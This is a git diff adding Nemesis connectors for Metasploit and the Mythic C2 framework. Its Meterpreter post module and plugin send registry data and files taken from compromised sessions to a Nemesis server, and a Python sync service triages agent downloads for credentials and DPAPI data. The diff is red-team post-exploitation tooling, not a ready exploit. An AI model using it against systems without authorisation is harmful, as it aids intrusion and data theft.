+ res = Net::HTTP.start(uri.hostname, uri.port) { |http|
+ http.request(req)
+ }
+ return res.body
+ rescue ::Exception => e
+ print_error("Exception connecting to Nemesis : #{e}")
+ return nil
+ end
+ end
+
+
+ # enumerates services via their registry keys in a threaded manner
+ def get_service_keys
+ threadnum = 0
+ threads = []
+ regkeys = []
+
+ root_key, base_key = session.sys.registry.splitkey(SERVICES_PATH)
+ perms = meterpreter_registry_perms(KEY_READ, REGISTRY_VIEW_NATIVE)
+
+ registry_enumkeys(SERVICES_PATH).each do |s|
+ if threadnum < 20
+ threads.push(::Thread.new {
+ begin
+
+ ["DisplayName", "Description", "ObjectName", "ImagePath", "Type", "Start"].each do |valname|
+ val = session.sys.registry.query_value_direct(root_key, "#{base_key}\\#{s}", valname, perms)
+ if val.data and not val.data.empty?
+ regkey = {
+ "key" => "#{SERVICES_PATH}\\#{s}",
+ "value_name" => valname,
+ "value_kind" => 1,
+ "value" => val.data
+ }
+ regkeys << regkey
+ end
+ end
+
+ ["ServiceDll", "ServiceMain"].each do |valname|
+ val = session.sys.registry.query_value_direct(root_key, "#{base_key}\\#{s}", valname, perms)
+ if val.data and not val.data.empty?
+ regkey = {
+ "key" => "#{SERVICES_PATH}\\#{s}\\Parameters",
+ "value_name" => valname,
+ "value_kind" => 1,
+ "value" => val.data
+ }
+ regkeys << regkey
+ end
+ end
+
+ val = session.sys.registry.query_value_direct(root_key, "#{base_key}\\#{s}\\Security", "Security", perms)
+ if val.data and not val.data.empty?
+ regkey = {
+ "key" => "#{SERVICES_PATH}\\#{s}\\Parameters",
+ "value_name" => "Security",
+ "value_kind" => 3,
+ "value" => Rex::Text.encode_base64(val.data)
+ }
+ regkeys << regkey
+ end
+ rescue
+ end
+ })
+ threadnum += 1
+ else
+ sleep(0.05) and threads.delete_if {|x| not x.alive?} while not threads.empty?
+ threadnum = 0
+ end
+ end
+
+ return regkeys
+ end
+
+
+ def run
+
+ service_keys = get_service_keys()
+ # loot_path = store_loot("#{session.uuid}_registryservices.json", 'application/json', session, service_keys.to_json, "registryservices.json", "enum_nemesis")
+
+ data = {
+ "metadata" => get_metadata(session.uuid),
+ "data" => service_keys
+ }
+
+ resp = post_data(data)
+
+ if !resp.nil?
+ resp_parsed = JSON.parse(resp)
+ if resp_parsed.has_key?("object_id")
+ submission_id = resp_parsed["object_id"]
+ print_good("Services enumerated via registry keys, Nemesis submission ID: #{submission_id}")
+ else
+ print_error("Nemesis response: #{resp}")
+ end
+ end
+ end
+
+end
diff --git a/cmd/connectors/metasploit-connector/plugins/nemesis.rb b/cmd/connectors/metasploit-connector/plugins/nemesis.rb
new file mode 100644
index 0000000..6f29a0d
--- /dev/null
+++ b/cmd/connectors/metasploit-connector/plugins/nemesis.rb
@@ -0,0 +1,190 @@
+#
+# Author: @harmj0y
+#
+# Heavily adapted from https://github.com/chrismaddalena/ShellHerder/blob/master/ShellHerder.rb
+
+require 'yaml'
+require 'json'
+require 'uri'
+require 'time'
+require 'net/http'
+
+module Msf
+ class Plugin::Nemesis < Msf::Plugin
+
+ include Msf::SessionEvent
+
+ # config globals
+ $nemesis_url = nil
+ $nemesis_user = nil
+ $nemesis_password = nil
+ $nemesis_project = nil
+ $expiration_days = nil
+ $remote_paths = Hash.new
+ $nemesis_yaml = "#{Msf::Config.get_config_root}/nemesis.yaml"
+
+
+ def name
+ 'nemesis'
+ end
+
+
+ def desc
+ "Ingests data into Nemesis"
+ end
+
+
+ # reads the nemesis.yaml settings into the global variables
+ def read_settings()
+ read = nil
+ if File.exist?("#{$nemesis_yaml}")
+ ldconfig = YAML.load_file("#{$nemesis_yaml}")
+ $nemesis_url = ldconfig['nemesis_url']
+ $nemesis_user, $nemesis_password = ldconfig['nemesis_creds'].split(":")
+ $nemesis_project = ldconfig['project_name']
+ $expiration_days = ldconfig['expiration_days'].to_i
+ read = true
+ else
+ print_error("You must create a #{$nemesis_yaml} file")
+ return read
+ end
+ return read
+ end
+
+
+ def initialize(framework, opts)
+ super
+ if read_settings()
+ self.framework.events.add_session_subscriber(self)
+ print_good("Nemesis Connector Started")
+ else
+ print_error("Could not load Nemesis settings.")
+ end
+ end
+
+
+ def cleanup
+ self.framework.events.remove_session_subscriber(self)
+ end
+
+
+ # helper to build the metadata hash table for data submission
+ def get_metadata(agent_uuid)
+ timestamp = Time.now
+ expiration = timestamp + $expiration_days * 86400 # 24 * 60 * 60
+ metadata = {
+ "agent_type" => "meterpreter",
+ "automated" => true,
+ "agent_id" => agent_uuid,
+ "data_type" => "file_data",
+ "project" => $nemesis_project,
+ # "source" => session.sys.config.sysinfo["Computer"],
+ "timestamp" => timestamp.utc.iso8601,
+ "expiration" => expiration.utc.iso8601
+ }
+ return metadata
+ end
+
+
+ # posts raw file bytes to the /api/file endpoint and returns the Nemesis file UUID
+ def post_file(file_path)
+ # TODO later for possible opsec-on-upload blocking: https://yukimotopress.github.io/http
+
+ uri = URI("#{$nemesis_url}file")
+ req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/octet-stream')
+ req.basic_auth $nemesis_user, $nemesis_password
+ req['User-Agent'] = "METERPRETER"
+ req.body = File.open(file_path, 'rb') { |io| io.read }
+ begin
+ res = Net::HTTP.start(uri.hostname, uri.port) { |http|
+ http.request(req)
+ }
+ return JSON.parse(res.body)["object_id"]
+ rescue ::Exception => e
+ print_error("Exception connecting to Nemesis : #{e}")
+ return nil
+ end
+ end
+
+
+ # posts an entry hashtable to the /api/data endpoint
+ def post_data(data)
+ uri = URI("#{$nemesis_url}data")
+ req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')
+ req.basic_auth $nemesis_user, $nemesis_password
+ req['User-Agent'] = "METERPRETER"
+ req.body = data.to_json
+ begin
+ res = Net::HTTP.start(uri.hostname, uri.port) { |http|
+ http.request(req)
+ }
+ return res.body
+ rescue ::Exception => e
+ print_error("Exception connecting to Nemesis : #{e}")
+ return nil
+ end
+ end
+
+
+ # main logic that checks for the download completion message
+ # and syncs submits the downloaded file to Nemesis
+ def on_session_output(session, output)
+
+ # check for completed download messages
+ if output.starts_with?("download :")
+ data = output[13..-1]
+ parts = data.split("->")
+ if parts.length() == 2
+ file_origin = parts[0].strip().tr('\\', '/')
+ file_dest = parts[1].strip()
+
+ username = ""
+ hostname = ""
+ info_parts = session.info.split("@")
+ if info_parts.length() == 2
+ username = info_parts[0].strip()
+ hostname = info_parts[1].strip()
+ end
+
+ # if not absolute or UNC path, construct using the current working directory
+ if not file_origin.match(/([A-Za-z]:|^\/\/)/)
+
+ # get the current working directory
+ working_directory = session.fs.dir.pwd.tr('\\', '/')
+
+ if not working_directory.ends_with? "/"
+ working_directory = "#{working_directory}/"
+ end
+
+ file_origin = "#{working_directory}#{file_origin}"
+ end
+
+ # print_status("file_dest : _#{file_dest}_")
+ # print_status("Info: _#{username}_#{hostname}_")
+ # print_status("Host: #{session.session_host}")
+ # print_status("UUID: #{session.uuid}")
+
+ # post the file bytes to get the Nemesis UUID back
+ nemesis_uuid = post_file(file_dest)
+ print_good("'#{file_origin}' uploaded to Nemesis for processing, file UUID: #{nemesis_uuid}")
+
+ file_size = File.size(file_dest)
+
+ data = {
+ "metadata" => get_metadata(session.uuid),
+ "data" => [
+ {
+ "path" => file_origin,
+ "size" => file_size,
+ "object_id" => nemesis_uuid
+ }
+ ]
+ }
+ # resp format: {"object_id":"0a75872b-338c-484f-8251-f018d2e20290"}
+ resp = post_data(data)
+ end
+ end
+
+ end
+end
+end
\ No newline at end of file
diff --git a/cmd/connectors/mythic-connector/Dockerfile b/cmd/connectors/mythic-connector/Dockerfile
new file mode 100644
index 0000000..d80a432
--- /dev/null
+++ b/cmd/connectors/mythic-connector/Dockerfile
@@ -0,0 +1,9 @@
+FROM python:3.10.5-alpine3.15
+
+COPY requirements.txt .
+RUN pip install --upgrade pip \
+ && pip install -r requirements.txt
+
+COPY sync.py .
+
+CMD python -u sync.py
diff --git a/cmd/connectors/mythic-connector/LICENSE b/cmd/connectors/mythic-connector/LICENSE
new file mode 100644
index 0000000..5cccd45
--- /dev/null
+++ b/cmd/connectors/mythic-connector/LICENSE
@@ -0,0 +1,29 @@
+BSD 3-Clause License
+
+Copyright (c) 2021-2022, SpecterOps
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this
+ list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice,
+ this list of conditions and the following disclaimer in the documentation
+ and/or other materials provided with the distribution.
+
+3. Neither the name of the copyright holder nor the names of its
+ contributors may be used to endorse or promote products derived from
+ this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/cmd/connectors/mythic-connector/README.md b/cmd/connectors/mythic-connector/README.md
new file mode 100644
index 0000000..629fc3b
--- /dev/null
+++ b/cmd/connectors/mythic-connector/README.md
@@ -0,0 +1,45 @@
+# nemesis_sync
+
+## Usage
+
+### Execute via Stand Alone Docker
+
+Use Docker and `docker-compose` to run the `mythic_nemesis_sync` container.
+
+After cloning repository, open the `settings.env` file and fill in the variables with appropriate values. The following is an example:
+
+``` text
+MYTHIC_IP=10.10.1.100
+MYTHIC_PORT=7443
+MYTHIC_USERNAME=mythic_admin
+MYTHIC_PASSWORD=SuperSecretPassword
+REDIS_HOSTNAME=redis
+REDIS_PORT=6379
+NEMESIS_HTTP_SERVER=http://127.0.0.1:8000
+NEMESIS_CREDS=nemesis:password
+ELASTICSEARCH_USER=elastic
+ELASTICSEARCH_PASSWORD=password
+```
+
+Once the environment variables are setup, you can launch the service by using `docker-compose`:
+
+``` bash
+sudo docker-compose up --build
+```
+
+### Verify Successful Start-Up
+
+
+## Troubleshooting
+
+Logs can be seen from the docker container via `sudo docker logs mythic_nemesis_sync` and follow them with `sudo docker logs --follow mythic_nemesis_sync`.
+
+Ensure the host where `mythic_nemesis_sync` is running has network access to the Nemesis and Mythic servers.
+
+`mythic_nemesis_sync` uses an internal Redis database to sync what events have already been sent to Nemesis, avoiding duplicates.
+
+If the `mythic_nemesis_sync` service goes down, it is safe to stand it back up and avoid duplicates as long as nothing has forcefully stopped Mythic's Redis container.
+
+## References
+
+- [Mythic](https://github.com/its-a-feature/Mythic) - Multi-platform C2 Framework
diff --git a/cmd/connectors/mythic-connector/docker-compose.yml b/cmd/connectors/mythic-connector/docker-compose.yml
new file mode 100644
index 0000000..9aa3dc3
--- /dev/null
+++ b/cmd/connectors/mythic-connector/docker-compose.yml
@@ -0,0 +1,10 @@
+version: "3"
+services:
+ mythic_nemesis_sync:
+ build: .
+ depends_on:
+ - redis
+ env_file:
+ - settings.env
+ redis:
+ image: redis:5-alpine
diff --git a/cmd/connectors/mythic-connector/requirements.txt b/cmd/connectors/mythic-connector/requirements.txt
new file mode 100644
index 0000000..d6416eb
--- /dev/null
+++ b/cmd/connectors/mythic-connector/requirements.txt
@@ -0,0 +1,6 @@
+aiohttp==3.8.1
+redis==3.5.3
+#mythic==0.0.37
+mythic==0.1.0rc2
+requests==2.28.1
+elasticsearch==8.4.1
\ No newline at end of file
diff --git a/cmd/connectors/mythic-connector/settings.env b/cmd/connectors/mythic-connector/settings.env
new file mode 100644
index 0000000..8bf2243
--- /dev/null
+++ b/cmd/connectors/mythic-connector/settings.env
@@ -0,0 +1,10 @@
+MYTHIC_IP=10.10.1.100
+MYTHIC_PORT=7443
+MYTHIC_USERNAME=mythic_admin
+MYTHIC_PASSWORD=SuperSecretPassword
+REDIS_HOSTNAME=redis
+REDIS_PORT=6379
+NEMESIS_HTTP_SERVER=http://127.0.0.1:8000
+NEMESIS_CREDS=nemesis:password
+ELASTICSEARCH_USER=elastic
+ELASTICSEARCH_PASSWORD=password
\ No newline at end of file
diff --git a/cmd/connectors/mythic-connector/start.sh b/cmd/connectors/mythic-connector/start.sh
new file mode 100644
index 0000000..4fbf1fe
--- /dev/null
+++ b/cmd/connectors/mythic-connector/start.sh
@@ -0,0 +1,2 @@
+#!/bin/sh
+sudo docker-compose up --build
diff --git a/cmd/connectors/mythic-connector/sync.py b/cmd/connectors/mythic-connector/sync.py
new file mode 100644
index 0000000..7827f0d
--- /dev/null
+++ b/cmd/connectors/mythic-connector/sync.py
@@ -0,0 +1,905 @@
+# Standard Libraries
+import asyncio
+import base64
+import json
+import logging
+import ntpath
+import os
+import sys
+from dataclasses import dataclass
+from datetime import datetime, timedelta
+
+import aiohttp
+import redis
+import requests
+from elasticsearch import Elasticsearch
+# Mythic Sync Libraries
+# 3rd Party Libraries
+from mythic import mythic, mythic_classes
+from requests.auth import HTTPBasicAuth
+
+logging.basicConfig(format="%(levelname)s:%(message)s")
+mythic_sync_log = logging.getLogger("mythic_sync_logger")
+mythic_sync_log.setLevel(logging.DEBUG)
+
+# How long to wait to make another HTTP request to see if the service has started
+WAIT_TIMEOUT = 5
+
+# the maximum file size to sync from mythic
+MAX_FILE_SIZE = int(os.environ.get("MAX_FILE_SIZE"))
+
+# the number of days past ingestion to mark the data for expiration
+EXPIRATION_DAYS = int(os.environ.get("EXPIRATION_DAYS"))
+
+# Mythic server & authentication
+MYTHIC_API_KEY = os.environ.get("MYTHIC_API_KEY") or ""
+MYTHIC_USERNAME = os.environ.get("MYTHIC_USERNAME") or ""
+MYTHIC_PASSWORD = os.environ.get("MYTHIC_PASSWORD") or ""
+MYTHIC_IP = os.environ.get("MYTHIC_IP")
+if MYTHIC_IP is None:
+ mythic_sync_log.error("MYTHIC_IP must be supplied!\n")
+ sys.exit(1)
+MYTHIC_PORT = os.environ.get("MYTHIC_PORT")
+if MYTHIC_PORT is None:
+ mythic_sync_log.error("MYTHIC_PORT must be supplied!\n")
+ sys.exit(1)
+MYTHIC_URL = f"https://{MYTHIC_IP}:{MYTHIC_PORT}"
+REDIS_HOSTNAME = os.environ.get("REDIS_HOSTNAME")
+if REDIS_HOSTNAME is None:
+ mythic_sync_log.error("REDIS_HOSTNAME must be supplied!\n")
+ sys.exit(1)
+REDIS_PORT = os.environ.get("REDIS_PORT")
+if REDIS_PORT is None:
+ mythic_sync_log.error("REDIS_PORT must be supplied!\n")
+ sys.exit(1)
+
+# Redis connector
+rconn = None
+
+# Elasticsearch client
+es_client = None
+
+# Nemesis server/API
+NEMESIS_HTTP_SERVER = os.environ.get("NEMESIS_HTTP_SERVER") or ""
+NEMESIS_URL = f"{NEMESIS_HTTP_SERVER}/api"
+NEMESIS_CREDS = os.environ.get("NEMESIS_CREDS") or ""
+ELASTICSEARCH_URL = f"{NEMESIS_HTTP_SERVER}/elastic"
+ELASTICSEARCH_USER = os.environ.get("ELASTICSEARCH_USER") or ""
+ELASTICSEARCH_PASSWORD = os.environ.get("ELASTICSEARCH_PASSWORD") or ""
+KIBANA_URL = f"{NEMESIS_HTTP_SERVER}/kibana"
+
+
+@dataclass
+class NemesisTag:
+ name: str
+ description: str
+ color: str
+ id: int = -1
+
+
+NEMESIS_TAGS = {
+ # File Tags
+ "file_metadata": NemesisTag("file_metadata", "Metadata for the processed file.", "#16a4d8"),
+ "contains_dpapi": NemesisTag("contains_dpapi", "The file contains some type of DPAPI data.", "#9b5fe0"),
+ "parsed_credentials": NemesisTag("parsed_credentials", "Credentials have been parsed from a known file type.", "#60dbe8"),
+ "deserialization": NemesisTag("deserialization", "The binary has a potential deserialization issue.", "#f9a52c"),
+ "encrypted": NemesisTag("encrypted", "The file is encrypted.", "#8bd346"),
+ "yara_matches": NemesisTag("yara_matches", "The file has known Yara matches.", "#efdf48"),
+ "noseyparker": NemesisTag("noseyparker", "The file has extracted NoseyParker results.", "#d64e12"),
+ "above_size_limit": NemesisTag("above_size_limit", "The file is above the processing size limit.", "#fe0000"),
+
+ # Process Tags
+ "AccessTool": NemesisTag("AccessTool", "The process name matches known access tools.", "#60dbe8"),
+ "Browser": NemesisTag("Browser", "The process name matches known browsers.", "#efdf48"),
+ "Infrastructure": NemesisTag("Infrastructure", "The process name matches known infrastructure tools.", "#71a0d0"),
+ "MiscAwareness": NemesisTag("MiscAwareness", "The process name matches other known miscellaneous processes of iterest.", "#8bd346"),
+ "Other": NemesisTag("Other", "The process name matches other known processes.", "#b390d5"),
+ "Security": NemesisTag("Security", "The process name matches known security products.", "#ff1100"),
+}
+
+
+def nemesis_post_data(data):
+ """
+ Takes a json blob and POSTs it to the NEMESIS /data API endpoint.
+
+ **Parameters**
+
+ ``data``
+ JSON formatted blob to post.
+
+ **Returns**
+
+ True if the request was successful, False otherwise.
+ """
+ try:
+ basic_auth_parts = NEMESIS_CREDS.split(":")
+ basic = HTTPBasicAuth(basic_auth_parts[0], basic_auth_parts[1])
+ r = requests.post(f"{NEMESIS_URL}/data", auth=basic, json=data)
+ if r.status_code != 200:
+ mythic_sync_log.error(f"[nemesis_post_data] Error posting to Nemesis URL {NEMESIS_URL}/data ({r.status_code}) : {r.json()}")
+ return None
+ else:
+ return r.json()
+ except Exception as e:
+ mythic_sync_log.error(f"[nemesis_post_data] Error : {e}")
+ return None
+
+
+def nemesis_post_file(file_bytes):
+ """
+ Takes a series of raw file bytes and POSTs it to the NEMESIS /file API endpoint.
+
+ **Parameters**
+
+ ``file_bytes``
+ Bytes of the file we're uploading.
+
+ **Returns**
+
+ A new UUID string returned by the Nemesis API.
+ """
+ try:
+ basic_auth_parts = NEMESIS_CREDS.split(":")
+ basic = HTTPBasicAuth(basic_auth_parts[0], basic_auth_parts[1])
+ r = requests.request("POST", f"{NEMESIS_URL}/file", auth=basic, data=file_bytes, headers={"Content-Type": "application/octet-stream"})
+
+ if r.status_code != 200:
+ mythic_sync_log.error(f"[nemesis_post_file] Error uploading file to Nemesis URL {NEMESIS_URL}: {r.status_code}")
+ return None
+ else:
+ json_result = r.json()
+ if "object_id" in json_result:
+ return json_result["object_id"]
+ else:
+ mythic_sync_log.error("[nemesis_post_file] Error retrieving 'object_id' field from result")
+ return None
+ except Exception as e:
+ mythic_sync_log.error(f"[nemesis_post_file] Error : {e}")
+ return None
+
+
+def convert_timestamp(timestamp, days_to_add=0):
+ """
+ Strips off the microseconds from a timestamp and reformats to our unified format.
+
+ **Parameters**
+
+ ``timestamp``
+ The timestamp string to reformat.
+
+ **Returns**
+
+ A reformatted timestamp string.
+ """
+
+ dt = datetime.strptime(timestamp, "%Y-%m-%dT%H:%M:%S.%f")
+
+ if days_to_add != 0:
+ dt = dt + timedelta(days=days_to_add)
+
+ return dt.strftime("%Y-%m-%dT%H:%M:%S.000Z")
+
+
+async def get_processed_file_metadata(message_id: int):
+ """Gets processed file metadata from Elastic search for a specific message_id."""
+
+ query = {"bool": {"filter": [{"match_phrase": {"metadata.messageId": message_id}}]}}
+
+ fields = [
+ "path",
+ "size",
+ "objectId",
+ "analysis",
+ "magicType",
+ "noseyparker",
+ "nemesisFileType",
+ "extractedPlaintext",
+ "convertedPdf",
+ "yaraMatches",
+ "isBinary",
+ "isOfficeDoc",
+ "containsDpapi",
+ "parsedData.hasParsedCredentials",
+ "parsedData.isEncrypted",
+ "hashes.md5",
+ "metadata.messageId",
+ "objectIdURL", # link to directly download the file
+ "extractedSourceURL", # if .NET, link to download the decompiled source
+ "convertedPdfURL", # if converted to PDF, link to display that file
+ "extractedPlaintextURL" # if text was extracted, link to that in elastic
+ ]
+
+ attempts = 30
+ hits = {}
+
+ while (len(hits) == 0) and (attempts > 0):
+ await asyncio.sleep(3)
+ try:
+ resp = es_client.search(index="file_data_enriched", query=query, source=True, source_includes=fields)
+ hits = resp["hits"]["hits"]
+ except Exception as e:
+ mythic_sync_log.debug(f"Exception: {e}, retry attempts: {attempts}")
+ attempts = attempts - 1
+
+ if len(hits) == 0:
+ mythic_sync_log.error(f"No results found for message_id {message_id}")
+ else:
+ return hits[0]["_source"]
+
+
+async def get_process_metadata(message_id: int, chunk_size: int = 100):
+ """Gets process metadata from Elastic search for a specific message_id."""
+
+ query = {"bool": {"filter": [{"match_phrase": {"metadata.messageId": message_id}}]}}
+
+ fields = ["origin", "category"]
+
+ attempts = 20
+ hits = {}
+
+ while (len(hits) == 0) and (attempts > 0):
+ await asyncio.sleep(3)
+ try:
+ resp = es_client.search(index="process_category", query=query, source=True, source_includes=fields, size=chunk_size)
+ hits = resp["hits"]["hits"]
+ except Exception as e:
+ mythic_sync_log.debug(f"Exception: {e}, retry attempts: {attempts}")
+ attempts = attempts - 1
+
+ if len(hits) == 0:
+ raise Exception(f"No results found for message_id {message_id}")
+ else:
+ return [x["_source"] for x in hits]
+
+
+async def handle_file(mythic_instance: mythic_classes.Mythic) -> None:
+ """
+ Start a subscription for Mythic tasks and handle them.
+
+ **Parameters**
+
+ ``mythic_instance``
+ The Mythic instance to be used to query the Mythic database
+ """
+
+ # # clear Redis, for testing
+ # for key in rconn.keys('*'):
+ # rconn.delete(key)
+
+ try:
+ start_id = rconn.get("last_file_id")
+ except:
+ rconn.mset({"last_file_id": 0})
+ start_id = 0
+
+ start_id = 39
+
+ nemesis_file_subscription = """
+ subscription NemesisFileSubscription {
+ filemeta_stream(cursor: {initial_value: {id: %s}}, batch_size: 5, where: {is_download_from_agent: {_eq: true}, complete: {_eq: true}, is_screenshot: {_eq: false}}) {
+ filename_text
+ full_remote_path_text
+ id
+ host
+ agent_file_id
+ timestamp
+ task {
+ callback {
+ agent_callback_id
+ operation {
+ name
+ }
+ }
+ id
+ }
+ chunk_size
+ chunks_received
+ }
+ }
+ """ % (
+ start_id
+ )
+
+ mythic_sync_log.info("Starting subscription for file data")
+ async for data in mythic.subscribe_custom_query(mythic=mythic_instance, query=nemesis_file_subscription):
+ try:
+ file_meta = data["filemeta_stream"][0]
+ mythic_file_id = file_meta["agent_file_id"]
+ file_id = file_meta["id"]
+ task_id = file_meta["task"]["id"]
+
+ chunk_size = int(file_meta["chunk_size"])
+ chunks_received = int(file_meta["chunks_received"])
+ est_file_size = chunk_size * chunks_received
+
+ redis_key = f"filemeta{mythic_file_id}"
+
+ try:
+ redis_entry_id = rconn.get(redis_key)
+ except:
+ redis_entry_id = None
+
+ if not redis_entry_id:
+
+ mythic_sync_log.info(f"New file download with id '{mythic_file_id}'")
+
+ # TODO: depending on file size, determine if we want to hold this in memory
+ # Is there some other option that lets us stream to disk instead?
+
+ if est_file_size > MAX_FILE_SIZE:
+ await add_mythic_tag(mythic_instance, "above_size_limit", filemeta_id=file_id, task_id=task_id)
+ raise Exception(f"File is over {MAX_FILE_SIZE} bytes, not processing")
+
+ # download the file bytes from Mythic
+ # TODO: chunking to get around the size limit?
+ file_bytes = await mythic.download_file(mythic=mythic_instance, file_uuid=mythic_file_id)
+ file_size = len(file_bytes)
+
+ # upload the file to Nemesis and get a new file UUID back for reference
+ nemesis_file_id = nemesis_post_file(file_bytes)
+ mythic_sync_log.info(f"File posted to Nemesis, nemesis_file_id: {nemesis_file_id}")
+
+ if not nemesis_file_id:
+ raise Exception("No nemesis_file_id returned from file upload")
+
+ del file_bytes
+
+ metadata = {}
+ metadata["agent_id"] = file_meta["task"]["callback"]["agent_callback_id"]
+ metadata["agent_type"] = "mythic"
+ metadata["automated"] = True
+ metadata["data_type"] = "file_data"
+ metadata["expiration"] = convert_timestamp(file_meta["timestamp"], EXPIRATION_DAYS)
+ # metadata["source"] = file_meta["host"]
+ metadata["project"] = file_meta["task"]["callback"]["operation"]["name"]
+ metadata["timestamp"] = convert_timestamp(file_meta["timestamp"])
+
+ file_data = {}
+ file_data["path"] = base64.b64decode(file_meta["full_remote_path_text"]).decode("utf-8").replace("\\", "/")
+ # filename_text = base64.b64decode(file_meta["filename_text"]).decode("utf-8")
+ file_data["size"] = file_size
+ file_data["object_id"] = nemesis_file_id
+
+ # post to the Nemesis data API (`data`` needs to be an array of dictionaries!)
+ resp = nemesis_post_data({"metadata": metadata, "data": [file_data]})
+
+ message_id = resp["object_id"]
+ mythic_sync_log.info(f"Nemesis message_id for submitted file_data: {message_id}")
+
+ # mark this file as processed in Redis now that it was submitted
+ rconn.mset({redis_key: 1})
+
+ # mark this Mythic ID as the last processed file ID
+ last_file_id = rconn.get("last_file_id")
+ if file_id > last_file_id:
+ rconn.mset({"last_file_id": file_id})
+
+ # get the metadata for the processed file from Elasticsearch
+ file_metadata = await get_processed_file_metadata(message_id)
+
+ if not file_metadata:
+ mythic_sync_log.error("Couldn't retrieve metadata for processed file!")
+ continue
+
+ mythic_sync_log.debug(f"File metadata for {message_id} retrieved from Elastic")
+
+ # this is any metadata that we're doing to display as JSON for the "file_metadata" tag
+ file_metadata_display = {}
+ if "size" in file_metadata and file_metadata["size"]:
+ file_metadata_display["size"] = file_metadata["size"]
+ if "isBinary" in file_metadata and file_metadata["isBinary"]:
+ file_metadata_display["is_binary"] = "true"
+ if "isOfficeDoc" in file_metadata and file_metadata["isOfficeDoc"]:
+ file_metadata_display["is_office_doc"] = "true"
+ if "magicType" in file_metadata and file_metadata["magicType"]:
+ file_metadata_display["magic_type"] = file_metadata["magicType"]
+ if "nemesisFileType" in file_metadata and file_metadata["nemesisFileType"]:
+ file_metadata_display["nemesis_file_type"] = file_metadata["nemesisFileType"]
+
+ if "objectIdURL" in file_metadata and file_metadata["objectIdURL"]:
+ file_metadata_display["Download File"] = file_metadata["objectIdURL"]
+ if "extractedSourceURL" in file_metadata and file_metadata["extractedSourceURL"]:
+ file_metadata_display["Download Decompiled Source"] = file_metadata["extractedSourceURL"]
+ if "convertedPdfURL" in file_metadata and file_metadata["convertedPdfURL"]:
+ file_metadata_display["View Converted PDF"] = file_metadata["convertedPdfURL"]
+ if "extractedPlaintextURL" in file_metadata and file_metadata["extractedPlaintextURL"]:
+ file_metadata_display["Extracted Plaintext (Elastic)"] = file_metadata["extractedPlaintextURL"]
+
+ # TODO: fixate the index ID
+ kibana_file_link = f"{KIBANA_URL}/app/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'{nemesis_file_id}')))))&_g=(time:(from:now-1y%2Fd,to:now))"
+
+ # update the comment for the file in Mythic to indicate it was processed
+ await mythic.update_file_comment(mythic_instance, file_uuid=mythic_file_id, comment="Processed by Nemesis đź")
+
+ # add a basic metadata Mythic tag
+ await add_mythic_tag(mythic_instance, "file_metadata", filemeta_id=file_id, task_id=task_id, url=kibana_file_link, data=json.dumps(file_metadata_display))
+
+ # custom tags
+ if ("containsDpapi" in file_metadata) and (file_metadata["containsDpapi"]):
+ await add_mythic_tag(mythic_instance, "contains_dpapi", filemeta_id=file_id, task_id=task_id, url=kibana_file_link)
+
+ if ("parsedData" in file_metadata) and ("hasParsedCredentials" in file_metadata["parsedData"]) and file_metadata["parsedData"]["hasParsedCredentials"]:
+ await add_mythic_tag(mythic_instance, "parsed_credentials", filemeta_id=file_id, task_id=task_id, url=kibana_file_link)
+
+ if ("analysis" in file_metadata) and ("dotnetDeserialization" in file_metadata["analysis"]) and (file_metadata["analysis"]["dotnetDeserialization"]["hasDeserialization"] == 1):
+ await add_mythic_tag(mythic_instance, "deserialization", filemeta_id=file_id, task_id=task_id, url=kibana_file_link)
+
+ if ("parsedData" in file_metadata) and ("isEncrypted" in file_metadata["parsedData"]) and file_metadata["parsedData"]["isEncrypted"]:
+ await add_mythic_tag(mythic_instance, "encrypted", filemeta_id=file_id, task_id=task_id, url=kibana_file_link)
+
+ if ("yaraMatches" in file_metadata) and (file_metadata["yaraMatches"]):
+ rule_names = ", ".join(file_metadata["yaraMatches"])
+ data = json.dumps({"rule_names": rule_names})
+ await add_mythic_tag(mythic_instance, "yara_matches", filemeta_id=file_id, task_id=task_id, url=kibana_file_link, data=data)
+
+ if ("noseyparker" in file_metadata) and (file_metadata["noseyparker"]):
+ rule_names_dict = {}
+ for match in file_metadata["noseyparker"]["ruleMatches"]:
+ rule_names_dict[match["ruleName"]] = True
+ rule_names = ", ".join(rule_names_dict.keys())
+ data = json.dumps({"rule_names": rule_names})
+ await add_mythic_tag(mythic_instance, "noseyparker", filemeta_id=file_id, task_id=task_id, url=kibana_file_link, data=data)
+
+ except Exception:
+ mythic_sync_log.exception(
+ "Encountered an exception! Data returned by Mythic: %s",
+ data,
+ )
+ continue
+
+
+async def handle_filebrowser(mythic_instance: mythic_classes.Mythic) -> None:
+ """
+ Start a subscription for Mythic tasks and handle them.
+
+ **Parameters**
+
+ ``mythic_instance``
+ The Mythic instance to be used to query the Mythic database
+ """
+
+ try:
+ start_id = rconn.get("last_filebrowser_id")
+ except:
+ rconn.mset({"last_filebrowser_id": 0})
+ start_id = 0
+
+ nemesis_filebrowser_subscription = """
+ subscription NemesisFileBrowserSubscription {
+ mythictree_stream(batch_size: 100, cursor: {initial_value: {id: %s}}, where: {tree_type: {_eq: "file"}}) {
+ id
+ host
+ full_path_text
+ name_text
+ parent_path_text
+ timestamp
+ can_have_children
+ metadata
+ }
+ }
+ """ % (
